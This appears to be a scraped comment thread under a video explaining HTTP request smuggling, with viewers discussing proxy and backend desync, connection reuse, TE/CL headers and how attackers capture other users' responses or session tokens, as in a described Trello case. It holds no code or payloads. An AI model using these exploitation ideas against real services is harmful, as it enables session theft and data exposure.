Thanks for reminding me about socket programming. HTTP request-response abstraction almost made me forget about underlying sockets, their buffers, and a whole class of lower level vulnerabilities. Thanks again!
What does this attack achieves though? Do we need to do an xss attack so we trigger the corrupted request from someone who has privileges and then we personally retrieve it with a normal request without privilege?
A metaphor. On HTTP TE/CL desync they are represented by Transfer-Encoding and Content-Length headers. In the newer variant involving HTTP2 being transformed into HTTP1, they are misuse of character in HTTP2 "headers" that are turned into HTTP1 headers
Interesting... I get the principle, but the explanation raises some questions for me ;) I've written simple proxies / loadbalancers. In my case, I always opened a new outgoing TCP connection for each incoming TCP connection and kept track of the corresponding connection pairs. In that case, if we'd disagree on what a line is, I'd just tear down both TCP connections before the 2nd response would be sent back. No harm there... So, the issue can only occur when the proxy reuses the same TCP (HTTP) connection to the backend for different incoming connections from clients, right? Because only if they do that, the have no way other than counting (with HTTP/1.1) to map incoming responses to the corresponding client. At least without touching the application layer... The proxy could add a connection-id header that the backend server would just be configured to mirror back, I guess 🤔
Also I imagine for really large load balancers, there's a real chance you have 65,000+ clients connected simultaneously, in which case you can't really open new TCP connnections for each one as there's just not enough ports to go around.
Good explanation, but I'm struggling to understand how this is exploitable. You send a request, but the backend is desynced so the incorrect response is returned. What does this lead to?
I'm not sure but I think you could see private user data from other users. If the proxy and backend are out of sync and a user requests the page which shows his credit card information, he will receive the response to the previous request. Now an attacker requests a random page and will receive the users credit card information.
The situation that was depicted in the video makes the server deliver session tokens and other response bodies to other users. It happened with Atlassian and they had to close all sessions and ask people to look for misuse. In a more interesting case, the red line (or whatever comes after it) makes the backend ignore the upcoming black line. Now, as an attacker, you've just prepared a new request that's only waiting for the rest of the body to be written with the beginning of the next user's request. For example, Trello was subject to that and an attacker could prepare a "set my card text to" request and the next request was parsed as the text of the attacker's card. By looking at their card later, the attacker could then grab session tokens and other confidential data from the request after theirs on the socket
I'm in the same boat as you. I have two guesses: 1) it's used for fishing randomly for useful data (might take a while), or 2) it's used to disrupt operation of a server, sort of like a DDOS but without requiring a network
Why the admin request? Doesn’t that just give some random user an admin response? Why not give a junk request, wait for the user to receive the useless response, and make another request right after, receiving that users data?
How nice explanation it was.. great of youu.. Have a doubt that Why cant developers choose parsers of proxy/load balancer and backend internal are samee or with same logic. May be thats how it is vulnerable here !! Am I right ?? awaiting response plzz
Web servers are intended to work as standalone applications. So load balancers have to take traffic and divide it up between web servers in a way that still looks like normal traffic to the web servers. The web server parser is much more sophisticated (but also slower) and thus cannot be the same as the load balancer. They should have the same logic, but that requires perfect implementation of a perfect spec which is harder than it sounds.
i was actually looking for it and then this video came up, thanks mate.
saaame, lucky asf
same
That does make sense!
I was expecting Bo's song about the internet after the intro
It's for videos like these I pay my wifi bill for!
Very well explained as always!
5:12 a typical day of (most) IT guy....
and then the production crashes
Loud & Clear. Thanks.
Thank you. I knew about the attack, but it just feel clearer after watching you video.
I think I never had a visual abstraction for sockets
Thanks for reminding me about socket programming.
HTTP request-response abstraction almost made me forget about underlying sockets, their buffers, and a whole class of lower level vulnerabilities. Thanks again!
In case anyone is interested in seeing how such vulns are introduced, here's an example - th-cam.com/video/esXw4bdaZkc/w-d-xo.html ;-)
This is such a good explanation!
Very interesting, thank you :))
security expert make a video on HTTP with paper representation
Wow , plz add more videos like that ,, awesome explain
Best introduction to that video ever
thanks for great content
What does this attack achieves though? Do we need to do an xss attack so we trigger the corrupted request from someone who has privileges and then we personally retrieve it with a normal request without privilege?
What is a "line"? A literal vertical bar character? Different, depending on the protocol? EOL character? Just a metaphor?
A metaphor. On HTTP TE/CL desync they are represented by Transfer-Encoding and Content-Length headers. In the newer variant involving HTTP2 being transformed into HTTP1, they are misuse of character in HTTP2 "headers" that are turned into HTTP1 headers
@@gabrielassisbezerra Oh yeah... now that you said it. I could have figured CL myself. Duh...
Thank you! 🙂
Nicely explained
Interesting... I get the principle, but the explanation raises some questions for me ;) I've written simple proxies / loadbalancers. In my case, I always opened a new outgoing TCP connection for each incoming TCP connection and kept track of the corresponding connection pairs. In that case, if we'd disagree on what a line is, I'd just tear down both TCP connections before the 2nd response would be sent back. No harm there...
So, the issue can only occur when the proxy reuses the same TCP (HTTP) connection to the backend for different incoming connections from clients, right? Because only if they do that, the have no way other than counting (with HTTP/1.1) to map incoming responses to the corresponding client. At least without touching the application layer... The proxy could add a connection-id header that the backend server would just be configured to mirror back, I guess 🤔
What's a line?
Sockets are often reused since making a connection is slow
We have to imagine a load balancer for a company like Amazon such that near zero latency is a requirement
Also I imagine for really large load balancers, there's a real chance you have 65,000+ clients connected simultaneously, in which case you can't really open new TCP connnections for each one as there's just not enough ports to go around.
very nice explanation
Wow, it was explained in such simple terms
Good explanation, but I'm struggling to understand how this is exploitable. You send a request, but the backend is desynced so the incorrect response is returned. What does this lead to?
I'm not sure but I think you could see private user data from other users.
If the proxy and backend are out of sync and a user requests the page which shows his credit card information, he will receive the response to the previous request. Now an attacker requests a random page and will receive the users credit card information.
The situation that was depicted in the video makes the server deliver session tokens and other response bodies to other users. It happened with Atlassian and they had to close all sessions and ask people to look for misuse.
In a more interesting case, the red line (or whatever comes after it) makes the backend ignore the upcoming black line. Now, as an attacker, you've just prepared a new request that's only waiting for the rest of the body to be written with the beginning of the next user's request. For example, Trello was subject to that and an attacker could prepare a "set my card text to" request and the next request was parsed as the text of the attacker's card. By looking at their card later, the attacker could then grab session tokens and other confidential data from the request after theirs on the socket
I'm in the same boat as you. I have two guesses: 1) it's used for fishing randomly for useful data (might take a while), or 2) it's used to disrupt operation of a server, sort of like a DDOS but without requiring a network
Why the admin request? Doesn’t that just give some random user an admin response? Why not give a junk request, wait for the user to receive the useless response, and make another request right after, receiving that users data?
please be my uni teacher
can you show how to do it technically
How nice explanation it was.. great of youu.. Have a doubt that Why cant developers choose parsers of proxy/load balancer and backend internal are samee or with same logic. May be thats how it is vulnerable here !! Am I right ?? awaiting response plzz
Web servers are intended to work as standalone applications. So load balancers have to take traffic and divide it up between web servers in a way that still looks like normal traffic to the web servers.
The web server parser is much more sophisticated (but also slower) and thus cannot be the same as the load balancer.
They should have the same logic, but that requires perfect implementation of a perfect spec which is harder than it sounds.
And that's how the redline stlr was invented 😂
What annoyed me in this video is that he wrote requests directly on the sockets then wrote them again on pieces of papers.
I liked the setup. Can you share your setup? Thank you
Can you make a video of linux kernel
isn't a socket just a IP address and a port?
That's a socket address. The socket itself is a piece of software that exposes a data stream sent to that address